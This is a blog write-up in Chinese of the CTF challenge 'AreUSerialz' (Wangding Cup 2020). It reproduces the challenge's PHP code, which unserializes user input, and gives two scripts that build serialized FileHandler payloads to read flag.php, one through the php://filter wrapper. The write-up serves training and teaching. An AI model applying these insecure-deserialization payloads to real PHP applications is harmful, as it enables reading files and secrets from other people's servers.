[网鼎杯 2020 青龙组]AreUSerialz

看到这道题很简单，啪的一下就点进来了，很快啊！
打开环境，看到了一堆代码，老规矩，进行代码审计

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

重点是在这个代码中有一个op变量，当op=1时为写，当op=2时是读
而且下面存在对代码的反序列化
发现读是用file_get_contents，file_get_contents是能用php伪协议的。
开始构造语句
对了记得将protected改为public，不然protected会输出%00(private也一样会输出%00)【因为题目对ascii有限制】

<?php
class FileHandler {

    public $op=2;
    public $filename='php://filter/read=convert.base64-encode/resource=flag.php';
    public $content;

}
$daidaiAOE=new FileHandler;
echo serialize($daidaiAOE);
?>

得到base64编码的flag.php

解码拿到flag

还有一种方法，直接反序列化读取flag

<?php
class FileHandler {

    public $op=2;
    public $filename='flag.php';
    public $content;

}
$daidaiAOE=new FileHandler;
echo serialize($daidaiAOE);
?>

能直接拿到flag何必使用伪协议多此一举。

标签：AreUSerialz,res,filename,content,2020,output,网鼎杯,public,op
来源： https://blog.csdn.net/weixin_44502336/article/details/115493162